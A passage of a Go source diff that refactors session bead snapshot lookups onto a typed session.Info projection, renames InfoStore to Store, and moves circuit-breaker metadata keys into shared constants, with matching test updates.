+		trace.RecordDecision(TraceSiteReconcilerBeadReassignCycle, TraceReasonFreshCycle, TraceOutcomeRestart, tp.TemplateName, name, traceRecordPayload{
 			"previous_bead_id": prevBeadID,
 			"new_bead_id":      newBeadID,
-		}, nil, "")
+		})
 	}
-	return true
+	return true, fold
 }
diff --git a/cmd/gc/session_bead_snapshot.go b/cmd/gc/session_bead_snapshot.go
index da19554122..98f8b4e57b 100644
--- a/cmd/gc/session_bead_snapshot.go
+++ b/cmd/gc/session_bead_snapshot.go
@@ -28,8 +28,13 @@ type sessionBeadSnapshot struct {
 	// realizePoolDesiredSessions parallelizes pool session bead creates
 	// across distinct aliases — see gastownhall/gascity#2319. All read
 	// methods take RLock; add() takes Lock.
-	mu                        sync.RWMutex
-	open                      []beads.Bead
+	mu   sync.RWMutex
+	open []beads.Bead
+	// openInfos is the session.Info projection of open, in lockstep order:
+	// openInfos[i] == InfoFromPersistedBead(open[i]). It is the typed front
+	// door the P4 consumers migrate onto; the raw open slice and the index
+	// maps below stay byte-identical for the current callers.
+	openInfos                 []sessionpkg.Info
 	beadIDByAgentName         map[string]string
 	beadIDByTemplateHint      map[string]string
 	sessionNameByAgentName    map[string]string
@@ -96,11 +101,14 @@ func newSessionBeadSnapshot(beadsIn []beads.Bead) *sessionBeadSnapshot {
 	sessionNameByAgentName := make(map[string]string)
 	sessionNameByTemplateHint := make(map[string]string)
 
+	openInfos := make([]sessionpkg.Info, 0, len(beadsIn))
+
 	for _, b := range beadsIn {
 		if b.Status == "closed" {
 			continue
 		}
 		filtered = append(filtered, b)
+		openInfos = append(openInfos, sessionpkg.InfoFromPersistedBead(b))
 
 		sn := b.Metadata["session_name"]
 		if sn == "" {
@@ -145,6 +153,7 @@ func newSessionBeadSnapshot(beadsIn []beads.Bead) *sessionBeadSnapshot {
 
 	return &sessionBeadSnapshot{
 		open:                      filtered,
+		openInfos:                 openInfos,
 		beadIDByAgentName:         beadIDByAgentName,
 		beadIDByTemplateHint:      beadIDByTemplateHint,
 		sessionNameByAgentName:    sessionNameByAgentName,
@@ -152,11 +161,36 @@ func newSessionBeadSnapshot(beadsIn []beads.Bead) *sessionBeadSnapshot {
 	}
 }
 
+// newSessionBeadSnapshotFromInfos builds a snapshot from a typed session.Info
+// feed instead of raw beads. It populates ONLY openInfos — the non-closed
+// entries (filtered by info.Closed) in the caller's order. The raw
+// open []beads.Bead slice and the agent/template index maps are left nil
+// because this constructor backs resolvePreservedConfiguredNamedSessionTemplate's
+// feed, whose sole reachable snapshot read is OpenInfos(); the beadNames
+// pre-seed short-circuits FindSessionNameByTemplate, so the index maps are never
+// consulted on that path. Do NOT call Open(), the raw Find* methods, or the
+// Find*ByTemplate index lookups on a snapshot built this way — they return
+// empty. This is the front-door replacement for newSessionBeadSnapshot(ordered)
+// at the reconciler's mid-tick preserve call: feeding the live infoByID rather
+// than the raw working set keeps membership tracking mid-tick closes once the
+// raw Status lockstep is dropped.
+func newSessionBeadSnapshotFromInfos(infos []sessionpkg.Info) *sessionBeadSnapshot {
+	openInfos := make([]sessionpkg.Info, 0, len(infos))
+	for _, in := range infos {
+		if in.Closed {
+			continue
+		}
+		openInfos = append(openInfos, in)
+	}
+	return &sessionBeadSnapshot{openInfos: openInfos}
+}
+
 // replaceOpenLocked replaces the snapshot's open set and rebuilt lookup maps
 // from `open`. Callers must hold s.mu.
 func (s *sessionBeadSnapshot) replaceOpenLocked(open []beads.Bead) {
 	rebuilt := newSessionBeadSnapshot(open)
 	s.open = rebuilt.open
+	s.openInfos = rebuilt.openInfos
 	s.beadIDByAgentName = rebuilt.beadIDByAgentName
 	s.beadIDByTemplateHint = rebuilt.beadIDByTemplateHint
 	s.sessionNameByAgentName = rebuilt.sessionNameByAgentName
@@ -186,6 +220,20 @@ func (s *sessionBeadSnapshot) Open() []beads.Bead {
 	return result
 }
 
+// OpenInfos is the typed mirror of Open: a copy of the session.Info projection
+// of every open bead, in the same order as Open(). OpenInfos()[i] equals
+// InfoFromPersistedBead(Open()[i]) for all i.
+func (s *sessionBeadSnapshot) OpenInfos() []sessionpkg.Info {
+	if s == nil {
+		return nil
+	}
+	s.mu.RLock()
+	defer s.mu.RUnlock()
+	result := make([]sessionpkg.Info, len(s.openInfos))
+	copy(result, s.openInfos)
+	return result
+}
+
 func (s *sessionBeadSnapshot) FindSessionNameByTemplate(template string) string {
 	if s == nil {
 		return ""
@@ -213,6 +261,24 @@ func (s *sessionBeadSnapshot) FindSessionBeadByTemplate(template string) (beads.
 	return beads.Bead{}, false
 }
 
+// FindInfoByTemplate is the typed mirror of FindSessionBeadByTemplate: it
+// returns the session.Info projection of the same bead that method would
+// resolve for template.
+func (s *sessionBeadSnapshot) FindInfoByTemplate(template string) (sessionpkg.Info, bool) {
+	if s == nil {
+		return sessionpkg.Info{}, false
+	}
+	s.mu.RLock()
+	defer s.mu.RUnlock()
+	if id := s.beadIDByAgentName[template]; id != "" {
+		return s.findInfoByIDLocked(id)
+	}
+	if id := s.beadIDByTemplateHint[template]; id != "" {
+		return s.findInfoByIDLocked(id)
+	}
+	return sessionpkg.Info{}, false
+}
+
 func (s *sessionBeadSnapshot) FindByID(id string) (beads.Bead, bool) {
 	if s == nil || strings.TrimSpace(id) == "" {
 		return beads.Bead{}, false
@@ -232,6 +298,29 @@ func (s *sessionBeadSnapshot) findByIDLocked(id string) (beads.Bead, bool) {
 	return beads.Bead{}, false
 }
 
+// FindInfoByID is the typed mirror of FindByID: it returns the session.Info
+// projection of the same bead FindByID would return for id.
+func (s *sessionBeadSnapshot) FindInfoByID(id string) (sessionpkg.Info, bool) {
+	if s == nil || strings.TrimSpace(id) == "" {
+		return sessionpkg.Info{}, false
+	}
+	s.mu.RLock()
+	defer s.mu.RUnlock()
+	return s.findInfoByIDLocked(id)
+}
+
+// findInfoByIDLocked is the typed inner lookup; callers must hold at least
+// s.mu.RLock. open and openInfos are kept in lockstep order, so the matching
+// index into open yields the corresponding Info.
+func (s *sessionBeadSnapshot) findInfoByIDLocked(id string) (sessionpkg.Info, bool) {
+	for i, bead := range s.open {
+		if bead.ID == id {
+			return s.openInfos[i], true
+		}
+	}
+	return sessionpkg.Info{}, false
+}
+
 func (s *sessionBeadSnapshot) FindSessionNameByNamedIdentity(identity string) string {
 	bead, ok := s.FindSessionBeadByNamedIdentity(identity)
 	if !ok {
@@ -255,6 +344,25 @@ func (s *sessionBeadSnapshot) FindSessionBeadByNamedIdentity(identity string) (b
 	return beads.Bead{}, false
 }
 
+// FindInfoByNamedIdentity is the typed mirror of FindSessionBeadByNamedIdentity:
+// it returns the session.Info projection of the same bead that method would
+// resolve for identity. open and openInfos share an index, so the first
+// matching bead's Info is returned.
+func (s *sessionBeadSnapshot) FindInfoByNamedIdentity(identity string) (sessionpkg.Info, bool) {
+	if s == nil || strings.TrimSpace(identity) == "" {
+		return sessionpkg.Info{}, false
+	}
+	s.mu.RLock()
+	defer s.mu.RUnlock()
+	for i, bead := range s.open {
+		if strings.TrimSpace(bead.Metadata["configured_named_identity"]) != identity {
+			continue
+		}
+		return s.openInfos[i], true
+	}
+	return sessionpkg.Info{}, false
+}
+
 func stampedPoolQualifiedIdentity(bead beads.Bead) string {
 	if !isPoolManagedSessionBead(bead) {
 		return ""
@@ -277,3 +385,28 @@ func stampedPoolQualifiedIdentity(bead beads.Bead) string {
 	}
 	return instance
 }
+
+// stampedPoolQualifiedIdentityInfo is the session.Info mirror of
+// stampedPoolQualifiedIdentity.
+func stampedPoolQualifiedIdentityInfo(i sessionpkg.Info) string {
+	if !isPoolManagedSessionInfo(i) {
+		return ""
+	}
+	slot, err := strconv.Atoi(strings.TrimSpace(i.PoolSlot))
+	if err != nil || slot <= 0 {
+		return ""
+	}
+	template := strings.TrimSpace(i.Template)
+	if template == "" {
+		return ""
+	}
+	scope, name := config.ParseQualifiedName(template)
+	if name == "" {
+		return ""
+	}
+	instance := fmt.Sprintf("%s-%d", name, slot)
+	if scope != "" {
+		return scope + "/" + instance
+	}
+	return instance
+}
diff --git a/cmd/gc/session_beads.go b/cmd/gc/session_beads.go
index bea0d20e8d..dd7b586e76 100644
--- a/cmd/gc/session_beads.go
+++ b/cmd/gc/session_beads.go
@@ -127,6 +127,21 @@ func beadOwnsPoolSessionName(b beads.Bead) bool {
 	return strings.HasSuffix(sn, "-"+id)
 }
 
+// infoOwnsPoolSessionName is the session.Info mirror of beadOwnsPoolSessionName.
+// It reads the RAW session_name (Info.SessionNameMetadata), not the
+// fallback-populated Info.SessionName.
+func infoOwnsPoolSessionName(i session.Info) bool {
+	id := strings.TrimSpace(i.ID)
+	sn := strings.TrimSpace(i.SessionNameMetadata)
+	if id == "" || sn == "" {
+		return false
+	}
+	if template := strings.TrimSpace(i.Template); template != "" && sn == PoolSessionName(template, id) {
+		return true
+	}
+	return strings.HasSuffix(sn, "-"+id)
+}
+
 func pendingPoolSessionName(template, instanceToken string) string {
 	base := targetBasename(template)
 	if base == "" {
@@ -293,6 +308,47 @@ func preserveConfiguredNamedSessionBead(b beads.Bead, cfg *config.City, cityName
 	return true
 }
 
+// preserveConfiguredNamedSessionBeadInfo is the session.Info sibling of
+// preserveConfiguredNamedSessionBead. Equivalence-proven. It reads the RAW
+// metadata mirrors (Info.SessionNameMetadata, Info.MetadataState, Info.SleepReason,
+// Info.LastWokeAt) so the identity match and terminal-state gate are byte-identical
+// to the raw form; isNamedSessionInfo / namedSessionIdentityInfo are the proven
+// leaf siblings and findNamedSessionSpec keys off the same projected identity.
+func preserveConfiguredNamedSessionBeadInfo(i session.Info, cfg *config.City, cityName string) bool {
+	if cfg == nil || !isNamedSessionInfo(i) {
+		return false
+	}
+	identity := namedSessionIdentityInfo(i)
+	if identity == "" {
+		return false
+	}
+	spec, ok := findNamedSessionSpec(cfg, cityName, identity)
+	if !ok {
+		return false
+	}
+	if strings.TrimSpace(i.SessionNameMetadata) != spec.SessionName {
+		return false
+	}
+	// Identity match. Gate on terminal-ish state so a dead bead releases its
+	// alias instead of holding it forever (ga-ue1r / gm-0fl34g5 incident).
+	state := strings.TrimSpace(i.MetadataState)
+	switch state {
+	case "stopped":
+		if strings.TrimSpace(i.SleepReason) != "" {
+			return true
+		}
+		if lastWoke, ok := parseRFC3339Metadata(i.LastWokeAt); ok {
+			if time.Since(lastWoke) < staleCreatingStateTimeout {
+				return true
+			}
+		}
+		return false
+	case string(session.StateFailedCreate):
+		return false
+	}
+	return true
+}
+
 func reopenClosedConfiguredNamedSessionBead(
 	cityPath string,
 	store beads.Store,
@@ -874,7 +930,7 @@ func syncSessionBeadsWithSnapshotAndRigStores(
 	// closeFailedCreateBead/syncDesiredPoolSlots); the raw store stays for the
 	// snapshot/Get and work-release/close residual. Same underlying store, so
 	// every session bead write is byte-identical.
-	sessFront := session.NewInfoStore(sessStore)
+	sessFront := session.NewStore(sessStore)
 	if stderr == nil {
 		stderr = io.Discard
 	}
@@ -1098,16 +1154,16 @@ func syncSessionBeadsWithSnapshotAndRigStores(
 				createState = string(session.StateStartPending)
 			}
 			instanceToken := session.NewInstanceToken()
-			meta := map[string]string{
-				"agent_name":         agentName,
-				"live_hash":          liveHash,
-				"session_origin":     origin,
-				"generation":         strconv.Itoa(session.DefaultGeneration),
-				"continuation_epoch": strconv.Itoa(session.DefaultContinuationEpoch),
-				"instance_token":     instanceToken,
-				"state":              createState,
-				"synced_at":          now.Format("2006-01-02T15:04:05Z07:00"),
-			}
+			meta := desiredSessionIdentity(sessionIdentityInputs{
+				AgentName:         agentName,
+				State:             createState,
+				Generation:        session.DefaultGeneration,
+				ContinuationEpoch: session.DefaultContinuationEpoch,
+				InstanceToken:     instanceToken,
+			})
+			meta["live_hash"] = liveHash
+			meta["session_origin"] = origin
+			meta["synced_at"] = now.Format("2006-01-02T15:04:05Z07:00")
 			if !isPoolInstance {
 				meta["session_name"] = sn
 			}
@@ -1655,7 +1711,7 @@ func queueAliasChangeDriftRebaseline(b beads.Bead, tp TemplateParams, queueMeta
 }
 
 func syncDesiredPoolSlots(
-	sessFront *session.InfoStore,
+	sessFront *session.Store,
 	desiredState map[string]TemplateParams,
 	openBeads []beads.Bead,
 	indexBySessionName map[string]int,
@@ -1786,8 +1842,8 @@ func configuredSessionNamesWithSnapshot(cfg *config.City, cityName string, sessi
 		runtimeName := config.NamedSessionRuntimeName(cityName, cfg.Workspace, identity)
 		if sessionBeads != nil {
 			if spec, ok := findNamedSessionSpec(cfg, cityName, identity); ok {
-				if b, ok := findCanonicalNamedSessionBead(sessionBeads, spec); ok {
-					if sn := strings.TrimSpace(b.Metadata["session_name"]); sn != "" {
+				if info, ok := findCanonicalNamedSessionInfo(sessionBeads, spec); ok {
+					if sn := strings.TrimSpace(info.SessionNameMetadata); sn != "" {
 						names[sn] = true
 					}
 				}
@@ -1801,7 +1857,7 @@ func configuredSessionNamesWithSnapshot(cfg *config.City, cityName string, sessi
 
 // setMeta wraps store.SetMetadata with error logging. Returns the error
 // so callers can abort dependent writes (e.g., skip config_hash on failure).
-func setMeta(sessFront *session.InfoStore, id, key, value string, stderr io.Writer) error {
+func setMeta(sessFront *session.Store, id, key, value string, stderr io.Writer) error {
 	if err := sessFront.SetMarker(id, key, value); err != nil {
 		fmt.Fprintf(stderr, "session beads: setting %s on %s: %v\n", key, id, err) //nolint:errcheck
 		return err
@@ -1816,11 +1872,11 @@ func setMeta(sessFront *session.InfoStore, id, key, value string, stderr io.Writ
 // session-class store (or the single-store default that backs it); the wrapper
 // holds beads.SessionStore by value and never traps a typed nil (it carries the
 // raw store directly).
-func sessionFrontDoor(store beads.Store) *session.InfoStore {
-	return session.NewInfoStore(beads.SessionStore{Store: store})
+func sessionFrontDoor(store beads.Store) *session.Store {
+	return session.NewStore(beads.SessionStore{Store: store})
 }
 
-func setMetaBatch(sessFront *session.InfoStore, id string, batch map[string]string, stderr io.Writer) error {
+func setMetaBatch(sessFront *session.Store, id string, batch map[string]string, stderr io.Writer) error {
 	if len(batch) == 0 {
 		return nil
 	}
@@ -1831,7 +1887,7 @@ func setMetaBatch(sessFront *session.InfoStore, id string, batch map[string]stri
 	return nil
 }
 
-func closeFailedCreateBead(sessFront *session.InfoStore, id string, now time.Time, stderr io.Writer) bool {
+func closeFailedCreateBead(sessFront *session.Store, id string, now time.Time, stderr io.Writer) bool {
 	patch := session.ClosePatch(now.UTC(), string(session.StateFailedCreate))
 	patch["pending_create_claim"] = ""
 	patch["pending_create_started_at"] = ""
@@ -2213,7 +2269,7 @@ func reapRuntimesBoundToClosedBeads(
 
 		// A runtime whose bead is still open is healthy (or is mid-wake and
 		// will be); the snapshot holds only open beads, so a hit means leave it.
-		if _, ok := sessionBeads.FindByID(liveID); ok {
+		if _, ok := sessionBeads.FindInfoByID(liveID); ok {
 			continue
 		}
 
diff --git a/cmd/gc/session_circuit_breaker.go b/cmd/gc/session_circuit_breaker.go
index a3c0b10c07..8e5cb76891 100644
--- a/cmd/gc/session_circuit_breaker.go
+++ b/cmd/gc/session_circuit_breaker.go
@@ -45,15 +45,19 @@ const (
 	defaultCircuitBreakerMaxRestarts = 5
 )
 
+// These alias the session-package key constants (the single source of truth for
+// the session_circuit_* cluster; see internal/session/circuit_state.go). Keeping
+// the local names lets the metadata read/write plumbing below stay unchanged
+// while the key literals live below the codec edge.
 const (
 	sessionCircuitStateMetadata             = session.SessionCircuitStateMetadataKey
-	sessionCircuitRestartsMetadata          = "session_circuit_restarts"
-	sessionCircuitLastRestartMetadata       = "session_circuit_last_restart"
-	sessionCircuitLastProgressMetadata      = "session_circuit_last_progress"
-	sessionCircuitLastObservedMetadata      = "session_circuit_last_observed"
-	sessionCircuitProgressSignatureMetadata = "session_circuit_progress_signature"
-	sessionCircuitOpenedAtMetadata          = "session_circuit_opened_at"
-	sessionCircuitOpenRestartCountMetadata  = "session_circuit_open_restart_count"
+	sessionCircuitRestartsMetadata          = session.SessionCircuitRestartsMetadataKey
+	sessionCircuitLastRestartMetadata       = session.SessionCircuitLastRestartMetadataKey
+	sessionCircuitLastProgressMetadata      = session.SessionCircuitLastProgressMetadataKey
+	sessionCircuitLastObservedMetadata      = session.SessionCircuitLastObservedMetadataKey
+	sessionCircuitProgressSignatureMetadata = session.SessionCircuitProgressSignatureMetadataKey
+	sessionCircuitOpenedAtMetadata          = session.SessionCircuitOpenedAtMetadataKey
+	sessionCircuitOpenRestartCountMetadata  = session.SessionCircuitOpenRestartCountMetadataKey
 	sessionCircuitResetGenerationMetadata   = session.SessionCircuitResetGenerationMetadataKey
 )
 
@@ -317,37 +321,42 @@ func (b *sessionCircuitBreaker) ObserveProgressSignature(identity, sig string, n
 	return false
 }
 
-func (b *sessionCircuitBreaker) restoreFromMetadata(identity string, meta map[string]string, now time.Time) (bool, error) {
-	if identity == "" || len(meta) == 0 {
+// restoreFromMetadata rehydrates a breaker entry for identity from a persisted
+// CircuitState (the typed projection of the session_circuit_* cluster). It reads
+// the same values the raw meta[key] form did — every parse/trim/compare below is
+// unchanged — so routing through CircuitState is byte-identical. An entry that
+// carries no non-reset circuit metadata is a no-op.
+func (b *sessionCircuitBreaker) restoreFromMetadata(identity string, cs session.CircuitState, now time.Time) (bool, error) {
+	if identity == "" {
 		return false, nil
 	}
-	if !hasSessionCircuitMetadata(meta) {
+	if !hasSessionCircuitMetadata(cs) {
 		return false, nil
 	}
-	resetGeneration, err := parseCircuitResetGeneration(meta[sessionCircuitResetGenerationMetadata])
+	resetGeneration, err := parseCircuitResetGeneration(cs.ResetGeneration)
 	if err != nil {
 		return false, err
 	}
 
 	e := &circuitBreakerEntry{
-		progressSig: meta[sessionCircuitProgressSignatureMetadata],
+		progressSig: cs.ProgressSignature,
 	}
-	if e.restarts, err = parseCircuitTimeList(meta[sessionCircuitRestartsMetadata]); err != nil {
+	if e.restarts, err = parseCircuitTimeList(cs.Restarts); err != nil {
 		return false, fmt.Errorf("parsing %s: %w", sessionCircuitRestartsMetadata, err)
 	}
-	if e.lastRestart, err = parseCircuitTime(meta[sessionCircuitLastRestartMetadata]); err != nil {
+	if e.lastRestart, err = parseCircuitTime(cs.LastRestart); err != nil {
 		return false, fmt.Errorf("parsing %s: %w", sessionCircuitLastRestartMetadata, err)
 	}
-	if e.lastProgress, err = parseCircuitTime(meta[sessionCircuitLastProgressMetadata]); err != nil {
+	if e.lastProgress, err = parseCircuitTime(cs.LastProgress); err != nil {
 		return false, fmt.Errorf("parsing %s: %w", sessionCircuitLastProgressMetadata, err)
 	}
-	if e.lastObserved, err = parseCircuitTime(meta[sessionCircuitLastObservedMetadata]); err != nil {
+	if e.lastObserved, err = parseCircuitTime(cs.LastObserved); err != nil {
 		return false, fmt.Errorf("parsing %s: %w", sessionCircuitLastObservedMetadata, err)
 	}
-	if e.openedAt, err = parseCircuitTime(meta[sessionCircuitOpenedAtMetadata]); err != nil {
+	if e.openedAt, err = parseCircuitTime(cs.OpenedAt); err != nil {
 		return false, fmt.Errorf("parsing %s: %w", sessionCircuitOpenedAtMetadata, err)
 	}
-	if s := strings.TrimSpace(meta[sessionCircuitOpenRestartCountMetadata]); s != "" {
+	if s := strings.TrimSpace(cs.OpenRestartCount); s != "" {
 		n, err := strconv.Atoi(s)
 		if err != nil {
 			return false, fmt.Errorf("parsing %s: %w", sessionCircuitOpenRestartCountMetadata, err)
@@ -355,13 +364,13 @@ func (b *sessionCircuitBreaker) restoreFromMetadata(identity string, meta map[st
 		e.openRestartCnt = n
 	}
 	e.observedSig = !e.lastObserved.IsZero() || strings.TrimSpace(e.progressSig) != ""
-	switch meta[sessionCircuitStateMetadata] {
+	switch cs.State {
 	case circuitOpen.String():
 		e.state = circuitOpen
 	case "", circuitClosed.String():
 		e.state = circuitClosed
 	default:
-		return false, fmt.Errorf("parsing %s: unknown state %q", sessionCircuitStateMetadata, meta[sessionCircuitStateMetadata])
+		return false, fmt.Errorf("parsing %s: unknown state %q", sessionCircuitStateMetadata, cs.State)
 	}
 
 	b.mu.Lock()
@@ -379,16 +388,20 @@ func (b *sessionCircuitBreaker) restoreFromMetadata(identity string, meta map[st
 	return reset, nil
 }
 
-func hasSessionCircuitMetadata(meta map[string]string) bool {
-	for _, key := range sessionCircuitMetadataKeys {
-		if key == sessionCircuitResetGenerationMetadata {
-			continue
-		}
-		if strings.TrimSpace(meta[key]) != "" {
-			return true
-		}
-	}
-	return false
+// hasSessionCircuitMetadata reports whether a CircuitState carries any breaker
+// state worth restoring. The reset generation is excluded: it is a stale-snapshot
+// floor, not breaker state, so a bead carrying only a reset generation must not
+// materialize an entry. This mirrors the raw all-keys-except-reset-generation
+// scan it replaces.
+func hasSessionCircuitMetadata(cs session.CircuitState) bool {
+	return strings.TrimSpace(cs.State) != "" ||
+		strings.TrimSpace(cs.Restarts) != "" ||
+		strings.TrimSpace(cs.LastRestart) != "" ||
+		strings.TrimSpace(cs.LastProgress) != "" ||
+		strings.TrimSpace(cs.LastObserved) != "" ||
+		strings.TrimSpace(cs.ProgressSignature) != "" ||
+		strings.TrimSpace(cs.OpenedAt) != "" ||
+		strings.TrimSpace(cs.OpenRestartCount) != ""
 }
 
 func parseCircuitResetGeneration(value string) (uint64, error) {
@@ -505,11 +518,16 @@ func (b *sessionCircuitBreaker) Reset(identity string) uint64 {
 	return b.resetGenerations[identity]
 }
 
-func (b *sessionCircuitBreaker) observeResetGenerationFromMetadata(identity string, meta map[string]string) error {
-	if b == nil || identity == "" || len(meta) == 0 {
+// observeResetGenerationFromMetadata observes the reset generation carried on a
+// persisted CircuitState into the breaker's stale-snapshot floor. An empty reset
+// generation is a no-op (parseCircuitResetGeneration returns 0, which
+// observeResetGeneration ignores), so a state with no generation behaves exactly
+// as the raw empty-map read did.
+func (b *sessionCircuitBreaker) observeResetGenerationFromMetadata(identity string, cs session.CircuitState) error {
+	if b == nil || identity == "" {
 		return nil
 	}
-	return b.observeResetGenerationValue(identity, meta[sessionCircuitResetGenerationMetadata])
+	return b.observeResetGenerationValue(identity, cs.ResetGeneration)
 }
 
 // observeResetGenerationValue parses a single persisted reset-generation metadata
@@ -607,13 +625,13 @@ func formatCircuitTime(tm time.Time) string {
 }
 
 func persistSessionCircuitBreakerMetadata(
-	sessFront *session.InfoStore,
-	session *beads.Bead,
+	sessFront *session.Store,
+	id string,
 	cb *sessionCircuitBreaker,
 	identity string,
 	now time.Time,
 ) error {
-	if sessFront == nil || session == nil || cb == nil {
+	if sessFront == nil || strings.TrimSpace(id) == "" || cb == nil {
 		return nil
 	}
 	cb.mu.Lock()
@@ -622,29 +640,27 @@ func persistSessionCircuitBreakerMetadata(
 	if err != nil {
 		return err
 	}
-	if sessionCircuitMetadataEqual(session.Metadata, metadata) {
-		return nil
-	}
-	if err := sessFront.ApplyPatch(session.ID, metadata); err != nil {
-		return fmt.Errorf("persisting session circuit breaker metadata for %s: %w", session.ID, err)
+	current, err := sessFront.CircuitState(id)
+	if err != nil {
+		return fmt.Errorf("loading session circuit breaker metadata for %s: %w", id, err)
 	}
-	if session.Metadata == nil {
-		session.Metadata = make(map[string]string, len(metadata))
+	if current == session.CircuitStateFromMetadata(metadata) {
+		return nil
 	}
-	for key, value := range metadata {
-		session.Metadata[key] = value
+	if err := sessFront.ApplyPatch(id, metadata); err != nil {
+		return fmt.Errorf("persisting session circuit breaker metadata for %s: %w", id, err)
 	}
 	return nil
 }
 
 func recordSessionCircuitBreakerRestart(
-	sessFront *session.InfoStore,
-	session *beads.Bead,
+	sessFront *session.Store,
+	id string,
 	cb *sessionCircuitBreaker,
 	identity string,
 	now time.Time,
 ) (circuitBreakerStateKind, error) {
-	if sessFront == nil || session == nil {
+	if sessFront == nil || strings.TrimSpace(id) == "" {
 		return circuitClosed, nil
 	}
 	identity = strings.TrimSpace(identity)
@@ -664,18 +680,17 @@ func recordSessionCircuitBreakerRestart(
 		cb.restoreEntryLocked(identity, previous, hadPrevious)
 		return state, err
 	}
-	if sessionCircuitMetadataEqual(session.Metadata, metadata) {
-		return state, nil
-	}
-	if err := sessFront.ApplyPatch(session.ID, metadata); err != nil {
+	current, err := sessFront.CircuitState(id)
+	if err != nil {
 		cb.restoreEntryLocked(identity, previous, hadPrevious)
-		return state, fmt.Errorf("persisting session circuit breaker metadata for %s: %w", session.ID, err)
+		return state, fmt.Errorf("loading session circuit breaker metadata for %s: %w", id, err)
 	}
-	if session.Metadata == nil {
-		session.Metadata = make(map[string]string, len(metadata))
+	if current == session.CircuitStateFromMetadata(metadata) {
+		return state, nil
 	}
-	for key, value := range metadata {
-		session.Metadata[key] = value
+	if err := sessFront.ApplyPatch(id, metadata); err != nil {
+		cb.restoreEntryLocked(identity, previous, hadPrevious)
+		return state, fmt.Errorf("persisting session circuit breaker metadata for %s: %w", id, err)
 	}
 	return state, nil
 }
@@ -723,16 +738,7 @@ func (b *sessionCircuitBreaker) restoreIdentity(identity string, snapshot sessio
 	delete(b.resetGenerations, identity)
 }
 
-func sessionCircuitMetadataEqual(existing map[string]string, next map[string]string) bool {
-	for _, key := range sessionCircuitMetadataKeys {
-		if existing[key] != next[key] {
-			return false
-		}
-	}
-	return true
-}
-
-func loadPersistedSessionCircuitResetGeneration(sessFront *session.InfoStore, sessionID, identity string, cb *sessionCircuitBreaker) error {
+func loadPersistedSessionCircuitResetGeneration(sessFront *session.Store, sessionID, identity string, cb *sessionCircuitBreaker) error {
 	if sessFront == nil || cb == nil || strings.TrimSpace(sessionID) == "" || strings.TrimSpace(identity) == "" {
 		return nil
 	}
@@ -746,7 +752,7 @@ func loadPersistedSessionCircuitResetGeneration(sessFront *session.InfoStore, se
 	return nil
 }
 
-func clearPersistedSessionCircuitBreakerMetadata(sessFront *session.InfoStore, sessionID string, resetGeneration uint64) error {
+func clearPersistedSessionCircuitBreakerMetadata(sessFront *session.Store, sessionID string, resetGeneration uint64) error {
 	if sessFront == nil || strings.TrimSpace(sessionID) == "" {
 		return nil
 	}
@@ -866,19 +872,25 @@ func computeNamedSessionProgressSignatures(
 	ambiguous := make(map[string]bool)
 	knownIdentities := make(map[string]bool)
 	for _, sb := range sessionBeads {
-		identity := strings.TrimSpace(sb.Metadata[namedSessionIdentityMetadata])
+		// Read the identity/name/alias resolver keys through the typed Info
+		// projection instead of cracking sb.Metadata inline. This scan runs in
+		// Phase 0.5 before the reconciler's coherent infoByID snapshot exists, so
+		// it projects per bead (the same shape advanceSessionDrains uses); the
+		// projection is pure, so it is byte-identical to the raw reads.
+		info := session.InfoFromPersistedBead(sb)
+		identity := strings.TrimSpace(info.ConfiguredNamedIdentity)
 		if identity == "" {
 			continue
 		}
 		knownIdentities[identity] = true
 		resolve[identity] = identity
-		if id := strings.TrimSpace(sb.ID); id != "" {
+		if id := strings.TrimSpace(info.ID); id != "" {
 			resolve[id] = identity
 		}
-		if sn := strings.TrimSpace(sb.Metadata["session_name"]); sn != "" {
+		if sn := strings.TrimSpace(info.SessionNameMetadata); sn != "" {
 			addSessionCircuitResolverKey(bareResolve, ambiguous, sn, identity)
 		}
-		if alias := strings.TrimSpace(sb.Metadata["alias"]); alias != "" {
+		if alias := strings.TrimSpace(info.Alias); alias != "" {
 			addSessionCircuitResolverKey(bareResolve, ambiguous, alias, identity)
 		}
 	}
diff --git a/cmd/gc/session_circuit_breaker_test.go b/cmd/gc/session_circuit_breaker_test.go
index cbd58ae574..8ed1df93d6 100644
--- a/cmd/gc/session_circuit_breaker_test.go
+++ b/cmd/gc/session_circuit_breaker_test.go
@@ -494,7 +494,7 @@ func TestSessionCircuitBreaker_RestoreFromMetadata(t *testing.T) {
 		tc := tc
 		t.Run(tc.name, func(t *testing.T) {
 			cb := breakerAt(30*time.Minute, 5)
-			gotReset, err := cb.restoreFromMetadata("rig-a/session-a", tc.meta, tc.now)
+			gotReset, err := cb.restoreFromMetadata("rig-a/session-a", sessionpkg.CircuitStateFromMetadata(tc.meta), tc.now)
 			if tc.wantErr != "" {
 				if err == nil || !strings.Contains(err.Error(), tc.wantErr) {
 					t.Fatalf("restoreFromMetadata error = %v, want containing %q", err, tc.wantErr)
@@ -530,7 +530,7 @@ func TestSessionCircuitBreaker_RestoreFromMetadataDuplicateIsNoOp(t *testing.T)
 	const id = "rig-a/session-a"
 	cb.RecordRestart(id, t0)
 
-	reset, err := cb.restoreFromMetadata(id, map[string]string{
+	reset, err := cb.restoreFromMetadata(id, sessionpkg.CircuitStateFromMetadata(map[string]string{
 		sessionCircuitStateMetadata:             circuitOpen.String(),
 		sessionCircuitRestartsMetadata:          `["2026-04-01T12:00:00Z"]`,
 		sessionCircuitLastRestartMetadata:       t0.Format(time.RFC3339Nano),
@@ -538,7 +538,7 @@ func TestSessionCircuitBreaker_RestoreFromMetadataDuplicateIsNoOp(t *testing.T)
 		sessionCircuitProgressSignatureMetadata: "assigned-work",
 		sessionCircuitOpenedAtMetadata:          t0.Format(time.RFC3339Nano),
 		sessionCircuitOpenRestartCountMetadata:  "6",
-	}, t0.Add(time.Minute))
+	}), t0.Add(time.Minute))
 	if err != nil {
 		t.Fatalf("restoreFromMetadata: %v", err)
 	}
@@ -565,7 +565,7 @@ func TestSessionCircuitBreaker_MetadataRoundTrip(t *testing.T) {
 		t.Fatalf("metadata: %v", err)
 	}
 	restored := breakerAt(30*time.Minute, 5)
-	if reset, err := restored.restoreFromMetadata(id, metadata, t0.Add(6*time.Minute)); err != nil || reset {
+	if reset, err := restored.restoreFromMetadata(id, sessionpkg.CircuitStateFromMetadata(metadata), t0.Add(6*time.Minute)); err != nil || reset {
 		t.Fatalf("restoreFromMetadata reset=%v err=%v", reset, err)
 	}
 	got, err := restored.metadata(id, t0.Add(6*time.Minute))
@@ -592,13 +592,13 @@ func TestPersistSessionCircuitBreakerMetadataSkipsUnchangedSnapshot(t *testing.T
 	const id = "rig-a/session-a"
